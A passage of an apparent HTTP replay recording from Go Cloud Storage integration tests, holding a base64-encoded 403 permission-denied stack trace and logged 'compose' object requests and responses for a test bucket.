WQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IucmV3cml0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTIxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxOCBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1mb3JiaWRkZW4sIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLkZPUkJJRERFTiwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9BQ0NFU1NfREVOSUVEOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LnJld3JpdGUoUmV3cml0ZU9iamVjdC5qYXZhOjIwMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YToxOTMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IucmV3cml0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTIxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxOCBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QucmV3cml0ZShSZXdyaXRlT2JqZWN0LmphdmE6MjAwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjE5Mylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5yZXdyaXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE4IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMywibWVzc2FnZSI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuIn19" - } - }, - { - "ID": "6620f07aff04b6fd", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/compose/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "127" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImZvbyJ9LHsibmFtZSI6ImNvcHkifV19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "742" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:17 GMT" - ], - "Etag": [ - "CP/B0t7x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpyWMaddvNz0IWnQ6KIl-tv6fJZCvrqTlGuaoHvKqXhxb3O1EKUIEirKSVcaedFZyxtjLhPD7Nj6qf1CRGWG1VnVigo5Wf3sYFDuuLvctxVpoHT0rY" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9jb21wb3NlLzE1NTY4MzU5MTc0MDY0NjMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb21wb3NlIiwibmFtZSI6ImNvbXBvc2UiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNzQwNjQ2MyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxNy40MDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTcuNDA2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE3LjQwNloiLCJzaXplIjoiMTAiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29tcG9zZT9nZW5lcmF0aW9uPTE1NTY4MzU5MTc0MDY0NjMmYWx0PW1lZGlhIiwiY3JjMzJjIjoiL1JDT2dnPT0iLCJjb21wb25lbnRDb3VudCI6MiwiZXRhZyI6IkNQL0IwdDd4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "7f88847ad9c49799", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/compose/compose?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "127" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImZvbyJ9LHsibmFtZSI6ImNvcHkifV19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - 